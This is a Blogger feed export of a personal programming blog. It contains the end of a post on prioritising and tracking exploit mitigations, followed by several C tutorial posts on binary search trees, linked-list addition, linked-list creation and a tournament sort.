<td style="border-left: none; border: solid windowtext 1.0pt; height: 17.95pt; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 72.15pt;" valign="top" width="72"><div class="MsoNormal" style="line-height: 150%; text-indent: 0in;">
<span style="font-size: 11.0pt; line-height: 150%; mso-bidi-font-weight: bold;">build_id<o:p></o:p></span></div>
</td>
</tr>
</tbody></table>
<div class="MsoNormal" style="line-height: 150%; margin-left: .25in;">
<br /></div>
<div class="MsoNormal">
<i>Priority</i> = <i>Function(Sum_of_all_priorities(exploit_id(s)), crash_count(bucket_id(s))</i> and,<o:p></o:p></div>
<div class="MsoNormal" style="line-height: 150%; margin-left: .5in; text-indent: 0in;">
Vulnerability Popularity Trend in the market shared as research by Threat Intelligence organization. <o:p></o:p></div>
<div class="MsoListParagraph" style="margin-left: .75in; mso-add-space: auto; mso-list: l1 level1 lfo1; text-indent: -.25in;">
<!--[if !supportLists]--><span class="Heading4Char"><span style="font-style: normal; mso-bidi-font-family: "Times New Roman"; mso-bidi-theme-font: major-latin; mso-fareast-font-family: "Times New Roman"; mso-fareast-theme-font: major-latin;">d.<span style="font-size: 7pt; font-stretch: normal; font-variant-numeric: normal; font-weight: normal; line-height: normal;"> </span></span></span><!--[endif]--><span class="Heading4Char">Security Mitigation:</span><span class="Heading4Char"><span style="font-style: normal;"><o:p></o:p></span></span></div>
<div class="MsoNormal" style="line-height: 150%; margin-left: .75in; text-indent: 0in;">
<span class="Heading4Char">Mitigation will depend on what strategy to follow and is an organizational decision on how to tackle a type of exploit and what possible measures can be introduced to increase the cost of an attack.</span><span class="Heading4Char"><span style="font-style: normal; font-weight: normal; mso-bidi-font-weight: bold;"><o:p></o:p></span></span></div>
<div class="MsoNormal" style="line-height: 150%; margin-left: .75in; text-indent: 0in;">
<br /></div>
<div class="MsoListParagraph" style="margin-left: .75in; mso-add-space: auto; mso-list: l1 level1 lfo1; text-indent: -.25in;">
<!--[if !supportLists]--><span class="Heading4Char"><span style="font-style: normal; mso-bidi-font-family: "Times New Roman"; mso-bidi-theme-font: major-latin; mso-fareast-font-family: "Times New Roman"; mso-fareast-theme-font: major-latin;">e.<span style="font-size: 7pt; font-stretch: normal; font-variant-numeric: normal; font-weight: normal; line-height: normal;"> </span></span></span><!--[endif]--><span class="Heading4Char">Mitigation Impact & Tracking:</span><span class="Heading4Char"><span style="font-style: normal;"><o:p></o:p></span></span></div>
<!--EndFragment--><br />
<div class="MsoNormal" style="line-height: 150%; margin-left: .75in; text-indent: 0in;">
<span class="Heading4Char">For every mitigation shipped into the market there is an investment associated to increase the cost of generating another exploit in the same code using advanced approaches as described earlier. Thus impact of a mitigation becomes vital to evaluate the quality of the mitigation shipped into the market. Impact of a mitigation starts internally when all the reported security incidences become inoperable followed by tracking new crashes and incidences reported for an api_id inside </span><i style="mso-bidi-font-style: normal;"><span style="font-size: 11.0pt; line-height: 150%; mso-bidi-font-weight: bold;">Crashing_api_table </span></i><span style="font-size: 11.0pt; line-height: 150%; mso-bidi-font-weight: bold;">for the latest build(<i style="mso-bidi-font-style: normal;">build_id</i>) in the market.</span><span class="Heading4Char"><span style="font-style: normal; font-weight: normal; mso-bidi-font-weight: bold;"><o:p></o:p></span></span></div>
</div>
</div>
Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-4109247145476032480.post-7150706303517940582014-02-17T06:24:00.000-08:002014-02-17T06:24:11.480-08:00C: Create Binary Search Tree from a Array <div dir="ltr" style="text-align: left;" trbidi="on">
Hi, Today we will create a Binary Search Tree, which is nothing but a Sorted Binary Tree. The methods which we have used here are:<br />
<br />
<ol style="text-align: left;">
<li>Create Tree to iterate the Tree to the length of the array, with a reference to the array and to the root of the Tree</li>
<li>Create a Method to create a node and on the basis of the value at the index in the array and condition to put the node in the Tree should satisfy </li>
<li>Print theTree</li>
</ol>
<div>
<div>
#include <stdio.h></div>
<div>
#include <stdlib.h></div>
<div>
<br /></div>
<div>
struct BST</div>
<div>
{</div>
<div>
struct BST* left;</div>
<div>
int info;</div>
<div>
struct BST* right;</div>
<div>
};</div>
<div>
<br /></div>
<div>
void createTree(struct BST*, int*, int);</div>
<div>
void makeNode(struct BST*, int*);</div>
<div>
void printTree(struct BST*);</div>
<div>
<br /></div>
<div>
int <b>main</b>()</div>
<div>
{</div>
<div>
int arr[100] = {6,5,3,7,9,4,1,10};</div>
<div>
struct BST* root = (struct BST*) malloc(sizeof(struct BST));</div>
<div>
root->info = arr[0];</div>
<div>
root->left = root->right = NULL;</div>
<div>
</div>
<div>
createTree(root, arr, 7);</div>
<div>
printTree(root);</div>
<div>
return 0;</div>
<div>
}</div>
<div>
<br /></div>
<div>
void <b>createTree</b>(struct BST* root, int* arr_ref, int arr_len)</div>
<div>
{</div>
<div>
struct BST* temproot = root;</div>
<div>
</div>
<div>
while(arr_len > 0)</div>
<div>
{</div>
<div>
arr_ref++;</div>
<div>
makeNode(temproot, arr_ref);</div>
<div>
arr_len--;</div>
<div>
}</div>
<div>
}</div>
<div>
<br /></div>
<div>
void <b>makeNode</b>(struct BST* root, int* arr_ref)</div>
<div>
{</div>
<div>
struct BST* temp = root;</div>
<div>
</div>
<div>
if(temp->info > *arr_ref)</div>
<div>
{</div>
<div>
if(temp->left == NULL)</div>
<div>
{</div>
<div>
struct BST* newnode = (struct BST*) malloc(sizeof(struct BST));</div>
<div>
newnode->info = *arr_ref;</div>
<div>
newnode->left = newnode->right = NULL;</div>
<div>
temp->left = newnode;</div>
<div>
}</div>
<div>
else</div>
<div>
makeNode(temp->left, arr_ref);</div>
<div>
}</div>
<div>
else if(temp->info <= *arr_ref)</div>
<div>
{</div>
<div>
if(temp->right == NULL)</div>
<div>
{</div>
<div>
struct BST* newnode = (struct BST*) malloc(sizeof(struct BST));</div>
<div>
newnode->info = *arr_ref;</div>
<div>
newnode->left = newnode->right = NULL;</div>
<div>
temp->right = newnode;</div>
<div>
}</div>
<div>
else</div>
<div>
makeNode(temp->right, arr_ref);</div>
<div>
}</div>
<div>
}</div>
<div>
<br /></div>
<div>
void <b>printTree</b>(struct BST* root)</div>
<div>
{</div>
<div>
struct BST* temp = root;</div>
<div>
</div>
<div>
if(temp == NULL)</div>
<div>
return;</div>
<div>
else</div>
<div>
{</div>
<div>
printTree(temp->left);</div>
<div>
printf(" %d ",temp->info);</div>
<div>
printTree(temp->right);</div>
<div>
}</div>
<div>
}</div>
</div>
</div>
Unknownnoreply@blogger.com0Chandigarh, India30.7333148 76.779417930.7333148 76.7794179 30.7333148 76.7794179tag:blogger.com,1999:blog-4109247145476032480.post-7728534154984998292014-01-06T01:21:00.001-08:002014-01-08T05:05:44.743-08:00Given a Binary Tree, replace the data of each node by the sum of data of all its descendent nodes.(Leaf nodes will have 0)<script type="text/javascript">
var _gaq = _gaq || [];
_gaq.push(['_setAccount', 'UA-46943917-1']);
_gaq.push(['_setDomainName', 'hackwithpiyush.blogspot.in']);
_gaq.push(['_setAllowLinker', true]);
_gaq.push(['_trackPageview']);
(function() {
var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
ga.src = ('https:' == document.location.protocol ? 'https://' : 'http://') + 'stats.g.doubleclick.net/dc.js';
var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
})();
</script><br />
<div dir="ltr" style="text-align: left;" trbidi="on"><br />
<span style="color: #656565; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif;"><span style="font-size: 12px;">The Solution for this problem is simple and recursive one. In this problem you have to traverse to the last parent node which has at least 1 child.</span></span><br />
<span style="color: #656565; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif;"><span style="font-size: 12px;"><br />
</span></span> <span style="color: #656565; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif;"><span style="font-size: 12px;">So the conditions possible are:</span></span><br />
<br />
<ol style="text-align: left;"><li><span style="color: #656565; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif;"><span style="font-size: 12px;">Parent has only one leaf node a) only Left Leaf Node or b) only Right Leaf Node</span></span></li>
<li><span style="color: #656565; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif;"><span style="font-size: 12px;">Parent has both children, Left and Right Leaf Nodes.</span></span></li>
</ol><div><span style="color: #656565; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif;"><span style="font-size: 12px;">Now the only thing left is to traverse recursively to the last parent and check wether it has one child or 2 children and store the value of its child or sum of children into its info and if the children do not have any further children then set their value to 0.</span></span></div><br />
<br />
#include <stdio.h><br />
#include <stdlib.h><br />
<br />
struct BST<br />
{<br />
struct BST* left;<br />
int info;<br />
struct BST* right;<br />
};<br />
<br />
struct BST* newNode(int);<br />
void printTree(struct BST*);<br />
void replaceParentWithSumOfChildren(struct BST*);<br />
<br />
<a name='more'></a><br />
<br />
main()<br />
{<br />
struct BST* root = (struct BST*)malloc(sizeof(struct BST));<br />
root->info = 10;<br />
root->left = newNode(5);<br />
root->right = newNode(15);<br />
root->left->left = newNode(2);<br />
root->left->left->left = newNode(1);<br />
root->right->left = newNode(11);<br />
root->right->right = newNode(20);<br />
<br />
printf("\n\nPrint: TREE PRE-ORDER\n");<br />
printTree(root);<br />
<br />
printf("\n\nPrint: Parent = Sum of Chilren\n");<br />
replaceParentWithSumOfChildren(root);<br />
printTree(root);<br />
}<br />
<br />
struct BST* newNode(int info)<br />
{<br />
struct BST* temp = (struct BST*) malloc(sizeof(struct BST*));<br />
temp->left = NULL;<br />
temp->right = NULL;<br />
temp->info = info;<br />
<br />
return temp;<br />
}<br />
<br />
void printTree(struct BST* root)<br />
{<br />
struct BST* temp = root;<br />
<br />
if(temp != NULL)<br />
{<br />
printf(" %d ", temp->info);<br />
printTree(temp->left);<br />
printTree(temp->right);<br />
}<br />
else<br />
return;<br />
}<br />
<br />
void replaceParentWithSumOfChildren(struct BST* root)<br />
{<br />
struct BST* temp = root;<br />
<br />
if(temp != NULL)<br />
{<br />
replaceParentWithSumOfChildren(temp->left);<br />
replaceParentWithSumOfChildren(temp->right);<br />
<br />
if(temp->left != NULL && temp->right == NULL)<br />
{<br />
temp->info = temp->left->info;<br />
if(temp->left->left == NULL && temp->left->right == NULL)<br />
temp->left->info = 0;<br />
}<br />
else if(temp->right != NULL && temp->left == NULL)<br />
{<br />
temp->info = temp->right->info;<br />
if(temp->right->left == NULL && temp->right->right == NULL)<br />
temp->right->info = 0;<br />
}<br />
else if(temp->left != NULL && temp->right != NULL)<br />
{<br />
temp->info = temp->left->info + temp->right->info;<br />
if(temp->right->left == NULL && temp->right->right == NULL)<br />
temp->right->info = 0;<br />
if(temp->left->left == NULL && temp->left->right == NULL)<br />
temp->left->info = 0;<br />
}<br />
}<br />
else<br />
return;<br />
}</div>Unknownnoreply@blogger.com0Chandigarh, India30.7333148 76.779417930.5149218 76.4566944 30.951707799999998 77.1021414tag:blogger.com,1999:blog-4109247145476032480.post-60396994093451666272013-12-18T02:58:00.001-08:002014-01-08T05:07:02.966-08:00Adding 3 Linked Lists<script type="text/javascript">
var _gaq = _gaq || [];
_gaq.push(['_setAccount', 'UA-46943917-1']);
_gaq.push(['_setDomainName', 'hackwithpiyush.blogspot.in']);
_gaq.push(['_setAllowLinker', true]);
_gaq.push(['_trackPageview']);
(function() {
var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
ga.src = ('https:' == document.location.protocol ? 'https://' : 'http://') + 'stats.g.doubleclick.net/dc.js';
var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
})();
</script><br />
<div dir="ltr" style="text-align: left;" trbidi="on">Last Time we discussed the basics of Linked List Today we will try adding more more than 2 Linked Lists. Although in the program you will see that I have manually created Lists and then adding them in a very constrained manner which can be overcome by introducing dynamic looping as per the program requirements.<br />
<br />
<br />
#include <stdio.h><br />
#include <stdlib.h><br />
<br />
struct Node<br />
{<br />
int info;<br />
struct Node* next;<br />
};<br />
<br />
<b>int lenghtOfLinkedList(struct Node*); //</b> This method is count the number of elements in a list and on the basis of max count neutralize all other to bring them to the format of largest one.<br />
<b>void createLinkedListA(struct Node*); // </b>create a sample linked list<br />
<b>void createLinkedListB(struct Node*); </b><b>// </b>create a sample linked list<br />
<b>void createLinkedListC(struct Node*); </b><b>// </b>create a sample linked list<br />
<br />
Now we have linked lists<br />
A = head->6->7->8->9<br />
B = head->1->2->3<br />
c = head->4->5<br />
<br />
<b>void neutralizeLinkedList(struct Node*, int, int); </b><br />
<b><br />
</b> <br />
Now after neutralizing we have linked lists<br />
A = head->6->7->8->9<br />
B = head->0->1->2->3<br />
C = head->0->0->4->5<br />
<br />
<a name='more'></a><br />
<br />
<b><br />
</b> <b>void printLinkedList(struct Node*); //</b> To print linked list when required, the print operation will not print the head.<br />
<br />
<b>void reverseLinkedList(struct Node*);</b><br />
<b><br />
</b> Now after neutralizing we want to reverse the linked list so, now we have linked lists<br />
<br />
A = head->9->8->7->6<br />
B = head->3->2->1->0<br />
C = head->5->4->0->0<br />
<br />
<b><br />
</b> <b>int max(int, int, int); //</b> on the basis of the maximum number of digits we will iterate the loop in this case it is 4<br />
<b><br />
</b> <b>void AddLinkedLists(struct Node*, struct Node*, struct Node*, struct Node*, int);</b><br />
<br />
<br />
A = head->9->8->7->6<br />
B = head->3->2->1->0<br />
C = head->5->4->0->0<br />
ADD = head->7->5->9->6<br />
CARRY= 1 1 0 0<br />
<br />
---------------------------------------------PROGRAM-------------------------------------<br />
<br />
<br />
<i>int main()</i><br />
<i>{</i><br />
<i> struct Node* head1 = (struct Node*)malloc(sizeof(struct Node));</i><br />
<i> head1->info = -1;</i><br />
<i> head1->next = NULL;</i><br />
<i> createLinkedListA(head1);</i><br />
<i> printLinkedList(head1);</i><br />
<i> </i><br />
<i> struct Node* head2 = (struct Node*)malloc(sizeof(struct Node));</i><br />
<i> head2->info = -1;</i><br />
<i> head2->next = NULL;</i><br />
<i> createLinkedListB(head2);</i><br />
<i> printLinkedList(head2);</i><br />
<i> </i><br />
<i> struct Node* head3 = (struct Node*)malloc(sizeof(struct Node));</i><br />
<i> head3->info = -1;</i><br />
<i> head3->next = NULL;</i><br />
<i> createLinkedListC(head3);</i><br />
<i> printLinkedList(head3);</i><br />
<i> </i><br />
<i> struct Node* head4 = (struct Node*)malloc(sizeof(struct Node));</i><br />
<i> head4->info = -1;</i><br />
<i> head4->next = NULL;</i><br />
<i> </i><br />
<i> int lenhead1 = lenghtOfLinkedList(head1);</i><br />
<i> int lenhead2 = lenghtOfLinkedList(head2);</i><br />
<i> int lenhead3 = lenghtOfLinkedList(head3);</i><br />
<i> int maxlen = max(lenhead1, lenhead2, lenhead3);</i><br />
<i> printf("\n\nMax len is %d",maxlen);</i><br />
<i> </i><br />
<i> if(lenhead1 < maxlen)</i><br />
<i> neutralizeLinkedList(head1, lenhead1, maxlen);</i><br />
<i> </i><br />
<i> if(lenhead2 < maxlen)</i><br />
<i> neutralizeLinkedList(head2, lenhead2, maxlen);</i><br />
<i> </i><br />
<i> if(lenhead3 < maxlen)</i><br />
<i> neutralizeLinkedList(head3, lenhead3, maxlen);</i><br />
<i> </i><br />
<i> reverseLinkedList(head1);</i><br />
<i> reverseLinkedList(head2);</i><br />
<i> reverseLinkedList(head3);</i><br />
<i> printLinkedList(head1);</i><br />
<i> printLinkedList(head2);</i><br />
<i> printLinkedList(head3);</i><br />
<i> </i><br />
<i> AddLinkedLists(head1, head2, head3, head4, maxlen);</i><br />
<i> reverseLinkedList(head4);</i><br />
<i> printLinkedList(head4);</i><br />
<i> return 0;</i><br />
<i>}</i><br />
<i><br />
</i> <i>int lenghtOfLinkedList(struct Node* head) </i><br />
<i>{</i><br />
<i> int n = 0;</i><br />
<i> struct Node* temp = NULL;</i><br />
<i> temp = head->next;</i><br />
<i> </i><br />
<i> while(temp)</i><br />
<i> {</i><br />
<i> n++;</i><br />
<i> temp = temp->next;</i><br />
<i> }</i><br />
<i> </i><br />
<i> return n; </i><br />
<i>}</i><br />
<i><br />
</i> <i>void createLinkedListA(struct Node* head1)</i><br />
<i>{</i><br />
<i> struct Node* temp = NULL;</i><br />
<i> temp = head1;</i><br />
<i> </i><br />
<i> struct Node* A = (struct Node*)malloc(sizeof(struct Node));</i><br />
<i> A->info = 6;</i><br />
<i> A->next = NULL;</i><br />
<i> struct Node* B = (struct Node*)malloc(sizeof(struct Node));</i><br />
<i> B->info = 7;</i><br />
<i> B->next = NULL;</i><br />
<i> struct Node* C = (struct Node*)malloc(sizeof(struct Node));</i><br />
<i> C->info = 8;</i><br />
<i> C->next = NULL;</i><br />
<i> struct Node* D = (struct Node*)malloc(sizeof(struct Node));</i><br />
<i> D->info = 9;</i><br />
<i> D->next = NULL;</i><br />
<i> </i><br />
<i> temp->next = A;</i><br />
<i> A->next = B;</i><br />
<i> B->next = C;</i><br />
<i> C->next = D;</i><br />
<i> //head1->6->7->8->9</i><br />
<i>}</i><br />
<i><br />
</i> <i>void createLinkedListB(struct Node* head2)</i><br />
<i>{</i><br />
<i> struct Node* temp = NULL;</i><br />
<i> temp = head2;</i><br />
<i> </i><br />
<i> struct Node* A = (struct Node*)malloc(sizeof(struct Node));</i><br />
<i> A->info = 1;</i><br />
<i> A->next = NULL;</i><br />
<i> struct Node* B = (struct Node*)malloc(sizeof(struct Node));</i><br />
<i> B->info = 2;</i><br />
<i> B->next = NULL;</i><br />
<i> struct Node* C = (struct Node*)malloc(sizeof(struct Node));</i><br />
<i> C->info = 3;</i><br />
<i> C->next = NULL;</i><br />
<i> //struct Node* D = (struct Node*)malloc(sizeof(struct Node));</i><br />
<i> //D->info = 9;</i><br />
<i> //D->next = NULL;</i><br />
<i> </i><br />
<i> temp->next = A;</i><br />
<i> A->next = B;</i><br />
<i> B->next = C;</i><br />
<i> //C->next = D;</i><br />
<i> //head2->1->2->3</i><br />
<i>}</i><br />
<i><br />
</i> <i>void createLinkedListC(struct Node* head3)</i><br />
<i>{</i><br />
<i> struct Node* temp = NULL;</i><br />
<i> temp = head3;</i><br />
<i> </i><br />
<i> struct Node* A = (struct Node*)malloc(sizeof(struct Node));</i><br />
<i> A->info = 4;</i><br />
<i> A->next = NULL;</i><br />
<i> struct Node* B = (struct Node*)malloc(sizeof(struct Node));</i><br />
<i> B->info = 5;</i><br />
<i> B->next = NULL;</i><br />
<i> //struct Node* C = (struct Node*)malloc(sizeof(struct Node));</i><br />
<i> // C->info = 3;</i><br />
<i> //C->next = NULL;</i><br />
<i> // struct Node* D = (struct Node*)malloc(sizeof(struct Node));</i><br />
<i> // D->info = 9;</i><br />
<i> // D->next = NULL;</i><br />
<i> </i><br />
<i> temp->next = A;</i><br />
<i> A->next = B;</i><br />
<i> //B->next = C;</i><br />
<i> //C->next = D;</i><br />
<i> //head3->4->5;</i><br />
<i>}</i><br />
<i><br />
</i> <i>void neutralizeLinkedList(struct Node* head, int currentlen, int reqlen)</i><br />
<i>{</i><br />
<i> int i = 0;</i><br />
<i> struct Node* temp = NULL;</i><br />
<i> struct Node* newnode = NULL;</i><br />
<i> temp = head;</i><br />
<i> </i><br />
<i> while(i < (reqlen - currentlen))</i><br />
<i> {</i><br />
<i> newnode = (struct Node*)malloc(sizeof(struct Node));</i><br />
<i> newnode->info = 0;</i><br />
<i> newnode->next = NULL;</i><br />
<i> </i><br />
<i> newnode->next = temp->next;</i><br />
<i> temp->next = newnode;</i><br />
<i> i++;</i><br />
<i> }</i><br />
<i>}</i><br />
<i><br />
</i> <i>void printLinkedList(struct Node* head)</i><br />
<i>{</i><br />
<i> printf("\n\n Print Linked List\n\n");</i><br />
<i> struct Node* temp = NULL;</i><br />
<i> temp = head->next;</i><br />
<i> </i><br />
<i> while(temp)</i><br />
<i> {</i><br />
<i> printf("%d",temp->info);</i><br />
<i> temp = temp->next;</i><br />
<i> }</i><br />
<i>}</i><br />
<i><br />
</i> <i>void reverseLinkedList(struct Node* head)</i><br />
<i>{</i><br />
<i> int i = 0;</i><br />
<i> struct Node* temphead = NULL;</i><br />
<i> struct Node* first = NULL;</i><br />
<i> struct Node* last = NULL;</i><br />
<i> struct Node* slast = NULL;</i><br />
<i> struct Node* tempend = NULL;</i><br />
<i> </i><br />
<i> temphead = head;</i><br />
<i> first = head->next;</i><br />
<i> last = head->next;</i><br />
<i> slast = head;</i><br />
<i> tempend = head;</i><br />
<i> </i><br />
<i> while(first->next != NULL)</i><br />
<i> {</i><br />
<i> while(last->next != NULL)</i><br />
<i> {</i><br />
<i> last = last->next;</i><br />
<i> slast = slast->next;</i><br />
<i> }</i><br />
<i> </i><br />
<i> tempend = last;</i><br />
<i> </i><br />
<i> if(i == 0)</i><br />
<i> {</i><br />
<i> temphead->next = tempend;</i><br />
<i> i++;</i><br />
<i> }</i><br />
<i> </i><br />
<i> tempend->next = slast;</i><br />
<i> slast->next = NULL;</i><br />
<i> slast = first;</i><br />
<i> last = slast->next;</i><br />
<i> }</i><br />
<i>}</i><br />
<i><br />
</i> <i>void AddLinkedLists(struct Node* head1, struct Node* head2, struct Node* head3, struct Node* head4, int maxlen)</i><br />
<i>{</i><br />
<i> int add = 0;</i><br />
<i> int num = 0;</i><br />
<i> int carry = 0;</i><br />
<i> int i = 0;</i><br />
<i> </i><br />
<i> struct Node* temphead1 = head1->next;</i><br />
<i> struct Node* temphead2 = head2->next;</i><br />
<i> struct Node* temphead3 = head3->next;</i><br />
<i> struct Node* temphead4 = head4;</i><br />
<i> struct Node* newnode = NULL;</i><br />
<i> </i><br />
<i> while(i < maxlen)</i><br />
<i> {</i><br />
<i> add = temphead1->info + temphead2->info + temphead3->info;</i><br />
<i> num = add%10 + carry;</i><br />
<i> newnode = (struct Node*)malloc(sizeof(struct Node));</i><br />
<i> newnode->info = num;</i><br />
<i> newnode->next = NULL;</i><br />
<i> </i><br />
<i> temphead4->next = newnode;</i><br />
<i> </i><br />
<i> temphead1 = temphead1->next;</i><br />
<i> temphead2 = temphead2->next;</i><br />
<i> temphead3 = temphead3->next;</i><br />
<i> temphead4 = temphead4->next;</i><br />
<i> </i><br />
<i> carry = add/10; </i><br />
<i> i++;</i><br />
<i> }</i><br />
<i> </i><br />
<i> if(carry != 0)</i><br />
<i> {</i><br />
<i> newnode = (struct Node*)malloc(sizeof(struct Node));</i><br />
<i> newnode->info = carry;</i><br />
<i> newnode->next = NULL;</i><br />
<i> </i><br />
<i> temphead4->next = newnode;</i><br />
<i> }</i><br />
<i>}</i><br />
<i><br />
</i> <i>int max(int i, int j ,int k)</i><br />
<i>{</i><br />
<i> if(i >= j)</i><br />
<i> {</i><br />
<i> if(i >= k)</i><br />
<i> return i;</i><br />
<i> else</i><br />
<i> return k;</i><br />
<i> }</i><br />
<i> else if(j > i)</i><br />
<i> {</i><br />
<i> if(j >= k)</i><br />
<i> return j;</i><br />
<i> else</i><br />
<i> return k;</i><br />
<i> }</i><br />
<i>}</i></div>Unknownnoreply@blogger.com0Chandigarh, India30.7333148 76.779417930.5149218 76.4566944 30.951707799999998 77.1021414tag:blogger.com,1999:blog-4109247145476032480.post-11200086720576810122013-12-10T06:59:00.004-08:002014-01-08T05:07:10.569-08:00Back To Primitive Code: Creating a Linked List<script type="text/javascript">
var _gaq = _gaq || [];
_gaq.push(['_setAccount', 'UA-46943917-1']);
_gaq.push(['_setDomainName', 'hackwithpiyush.blogspot.in']);
_gaq.push(['_setAllowLinker', true]);
_gaq.push(['_trackPageview']);
(function() {
var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
ga.src = ('https:' == document.location.protocol ? 'https://' : 'http://') + 'stats.g.doubleclick.net/dc.js';
var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
})();
</script><br />
<div dir="ltr" style="text-align: left;" trbidi="on"><div>The below code explains procedure to how to create a <b><u>Singly-Linked-List</u></b> and Print Data in that List.</div><div><br />
</div><div><b>#include <stdio.h></b></div><div><br />
</div><div>/*This part of the code is to create a structure in which we create the simplest entity in the List which is a Node</div><div> <Code below is definition of single Node></div><div>The Node consists of the internal Data which can be anything from primitive data to an array to another structure.</div><div>*/</div><div><b>struct Node</b></div><div><b>{</b></div><div><b> int info;</b></div><div><b> struct Node *next;</b></div><div><b>};</b></div><div><br />
</div><div>/*Now to create a linked list what we require is a HEAD to mark the beginning of the Linked-List followed by a TEMP to track the current node being processed, followed by a Temp Definition of NEWNODE which will be created at run-time*/</div><div><br />
</div><div><b>int main()</b></div><div><b>{</b></div><div><b> int i = 0;</b></div><div><b> struct Node *head = (struct Node*)malloc(sizeof(struct Node));</b></div><div><b> struct Node *temp = NULL; </b></div><div><b> struct Node *newnode = NULL; </b></div><div><b></b><br />
<a name='more'></a><b><br />
</b></div><div><b> for(i = 0 ;i < 10;i++)</b></div><div><b> {</b></div><div><b> newnode = (struct Node*)malloc(sizeof(struct Node));</b></div><div><b> newnode->info = i;</b></div><div><b> newnode->next = NULL;</b></div><div><b> </b></div><div><b> if(i == 0)</b></div><div><b> {</b></div><div> <b>head->info = -1;</b> /*This Condition will be satisfied only once i.e for the First Node*/</div><div> <b>head->next = newnode;</b></div><div><b> }</b></div><div><b> else if(i > 0 && i < 10)</b></div><div><b> {</b></div><div><b> temp->next = newnode;</b></div><div><b> }</b></div><div><b> temp = newnode;</b></div><div><b> }</b></div><div></div><div>/*This part of the code to traverse the whole list and Print all Info Data in each Node*/</div><div> printf("Print Link List\n");</div><div> </div><div> <b>temp = head;</b></div><div><b> while(temp->next != NULL)</b></div><div><b> {</b></div><div><b> printf("%d\n",temp->info);</b></div><div><b> temp = temp->next;</b></div><div><b> }</b></div><div><b> return 0; </b></div><div><b>}</b></div><div><br />
</div><div><i>Code Test Run made on : <a href="http://codepad.org/">http://codepad.org/</a> C Compiler</i></div></div>Unknownnoreply@blogger.com0Chandigarh, India30.7333148 76.779417930.5149218 76.4566944 30.951707799999998 77.1021414tag:blogger.com,1999:blog-4109247145476032480.post-85476152634606613262013-11-02T10:21:00.000-07:002014-01-08T05:07:17.932-08:00Most Optimized Code for Sorting<script type="text/javascript">
var _gaq = _gaq || [];
_gaq.push(['_setAccount', 'UA-46943917-1']);
_gaq.push(['_setDomainName', 'hackwithpiyush.blogspot.in']);
_gaq.push(['_setAllowLinker', true]);
_gaq.push(['_trackPageview']);
(function() {
var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
ga.src = ('https:' == document.location.protocol ? 'https://' : 'http://') + 'stats.g.doubleclick.net/dc.js';
var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
})();
</script><br />
<div dir="ltr" style="text-align: left;" trbidi="on">Hi,<br />
<br />
All of you must have come across statements and questions online or technical exams or placement exams asking for the <u><b>MOST OPTIMIZED Code</b> for sorting</u>. Below I have shared a code to do that.<br />
The Code is easy to understand and implement.<br />
<br />
<i>#include <stdio.h><br />
#include <math.h><br />
<br />
void createArray(int *array_players, int nlenght);<br />
void createTournament(int *arry_players, int nlenght);<br />
int findNextMax(int arry_players[], int nlenght);<br />
<br />
<br />
int main()<br />
{<br />
int i, arry_players[100], nlenght, max_value, nextMax_value, sorted_array[100];<br />
<br />
printf("Enter Number of Elements in Array ");<br />
scanf("%d",&nlenght);<br />
<br />
createArray(arry_players, nlenght);</i><br />
<a name='more'></a><i><br />
for(i = 1; i <= nlenght - 1; i++)<br />
{<br />
createTournament(arry_players, nlenght);<br />
max_value = arry_players[1];<br />
nextMax_value = findNextMax(arry_players, nlenght);<br />
<br />
sorted_array[i-1] = max_value;<br />
sorted_array[i] = nextMax_value;<br />
}<br />
<br />
for(i = 0; i < nlenght ; i++)<br />
printf(" %d ",sorted_array[i]);<br />
}</i><b>/********************************************//**<br />
* \ This method is used to construct an array in which we are passing the address of source array<br />
and using the address we are changing the value of array at that address<br />
*<br />
* \ *array_players = pointer to array arry_players<br />
* \ nlenght = lenght of Array entered<br />
* \ return null/void<br />
*<br />
***********************************************/</b><i><br />
<br />
void createArray(int *arry_players, int nlenght)<br />
{<br />
int i, temp;<br />
for(i = 1; i<= nlenght; i++)<br />
{<br />
scanf("%d", &temp);<br />
arry_players[2*nlenght - i] = temp;<br />
}<br />
}</i><b>/********************************************//**<br />
* \ This method is used to construct a tournament in which we are passing the address of source array<br />
and using the array we are creating a competition and comparing every two consequitive players<br />
and finding the winner or the maximum value<br />
*<br />
* \ *array_players = pointer to array arry_players<br />
* \ nlenght = lenght of Array entered<br />
* \ return null/void<br />
*<br />
***********************************************/</b><i><br />
void createTournament(int *arry_players, int nlenght)<br />
{<br />
int i;<br />
for(i = 2*nlenght - 1; i >= 3; i = i - 2)<br />
{<br />
if(arry_players[i] > arry_players[i-1]) arry_players[i/2] = arry_players[i];<br />
else arry_players[i/2] = arry_players[i - 1];<br />
}<br />
<br />
//for(i = 1; i <= 2* nlenght - 1; i++)<br />
//printf("%d ",arry_players[i]);<br />
<br />
printf("\n\n");<br />
}</i><b>/********************************************//**<br />
* \ This method is used to traverse backwards in the tournament along the path of the max value and convert max value into 0<br />
and find the next max value<br />
*<br />
* \ *array_players = pointer to array arry_players<br />
* \ nlenght = lenght of Array entered<br />
* \ return null/void<br />
*<br />
***********************************************/</b><i><br />
int findNextMax(int *arry_players, int nlenght)<br />
{<br />
int i = 2, nextmax = 0, max_value;<br />
max_value = arry_players[1];<br />
arry_players[1] = 0;<br />
<br />
while(i < (2*nlenght - 1))<br />
{<br />
if(arry_players[i] == max_value )<br />
{<br />
arry_players[i] = 0;<br />
<br />
if(nextmax < arry_players[i + 1])<br />
nextmax = arry_players[i + 1];<br />
<br />
i = i;<br />
}<br />
else if(arry_players[i + 1] == max_value)<br />
{<br />
arry_players[i + 1] = 0;<br />
<br />
if(nextmax < arry_players[i])<br />
nextmax = arry_players[i];<br />
<br />
